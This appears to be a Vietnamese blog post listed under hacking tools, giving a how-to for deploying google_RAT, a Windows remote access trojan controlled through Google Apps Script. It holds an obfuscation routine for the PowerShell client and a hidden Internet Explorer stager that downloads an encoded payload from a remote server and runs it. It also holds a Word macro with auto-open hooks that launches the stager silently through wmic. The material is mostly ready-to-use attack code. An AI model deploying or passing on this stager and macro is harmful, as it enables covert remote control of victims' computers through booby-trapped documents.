Công cụ Hacking

google_RAT: A remote access tool for Windows systems using google apps script as the middle man

Clone project từ github: git clone https://github.com/a-rey/google_RAT.git

1. Deploy một Google Server và cơ sở dữ liệu dựa trên Google Spreadsheet

  1. Tạo 1 tài khoản gmail clone
  2. Tạo 1 bảng tính (spreadsheet) trong Google Drive của tài khoản clone đó
  3. Bật tính năng chia sẻ link File > Share… > Đặt một tên ngẫu nhiên > Get sharable link
  4. Dán link vào biết SPREADSHEET_URL ở server.js
  5. Bỏ phần ?usp=sharing ở cuối link.
  6. Truy cập Google Scripts và dán đoạn code trong phần server.js vào
  7. Publish server
    1. Publish > Deploy as web app
    2. Chỗ những ai có thể truy cập app. Chọn là Anyone, even anonymous
    3. Để cài đặt là executed as Me
    4. Review Permissions > Chọn Mail Clone của bạn > Advanced > Go to Untitled project (unsafe) > enter ‘Continue’ > Allow
    5. Copy URL và dán nó vào phần $SRV trong file client.ps1

2. Khởi tạo Powershell Payload

B1: Chạy lệnh sau để đóng gói file client.ps1

$s = gc <path to client.ps1>
$x = [convert]::tobase64string([system.text.encoding]::unicode.getbytes($s))
$sx = [system.text.encoding]::unicode.getstring([convert]::frombase64string($x))
$sx = $sx.replace(‘ ‘, ”)
$sx = $sx.replace(‘ = ‘, ‘=’)
$sx = $sx.replace(‘ + ‘, ‘+’)
$sx = $sx.replace(‘ – ‘, ‘-‘)
$sx = $sx.replace(‘ | ‘, ‘|’)
$sx = $sx.replace(‘if (‘, ‘if(‘)
$sx = $sx.replace(‘while (‘, ‘while(‘)
$sx = $sx.replace(‘, ‘, ‘,’)
$sx = $sx.replace(‘; ‘, ‘;’)
$sx = $sx.replace(‘} ‘, ‘}’)
$sx = $sx.replace(‘{ ‘, ‘{‘)
$sx = $sx.replace(‘ {‘, ‘{‘)
write-host $sx

B2: Copy phần kết quả và dán vào mục PAYLOAD trong file server.js

3. Nhúng Payload vào 1 file Word

  • Sử dụng powershell stager sau để chạy payload. Thay SRV bằng URL Google Server của bạn

$i=new-object -com internetexplorer.application;
$i.visible=$false;
$i.silent=$true;
$i.navigate2(‘<SRV>’,14,0,$null,$null);
while($i.busy -or ($i.readystate -ne 4)){sleep -seconds 1};
$p=$i.document.lastchild.innertext;
$i.quit();
powershell.exe -v 2 -noE -NonI -nOpR -eNc $p;

  • Đây là một ví dụ của Microsoft VBS macro để thực thi powershell stager trên

Private Sub run()
Dim cmd As String
cmd = “wmic process call create ‘powershell.exe -nOpR -nonI -eNc <stager>'”
Set sh = CreateObject(“WScript.Shell”)
res = sh.run(cmd,0,True)
End Sub
Sub AutoOpen()
run
End Sub
Sub AutoExec()
run
End Sub
Sub Auto_Open()
run
End Sub
Sub Auto_Exec()
run
End Sub

4. Deploying Python Shell

  • Yêu cầu Python 3
  • python script.py <Đường dẫn tới Google Apps Server mà bạn đã tạo>
  • Một số Command có thể xài để test
    • (new-object -com SAPI.SpVoice).speak(‘self destruct in 9 8 7 6 5 4 3 2 1 boom’)
    • $e=new-object -com internetexplorer.application; $e.visible=$true; $e.navigate(‘https://www.youtube.com/watch?v=dQw4w9WgXcQ’);

 

Visits: 580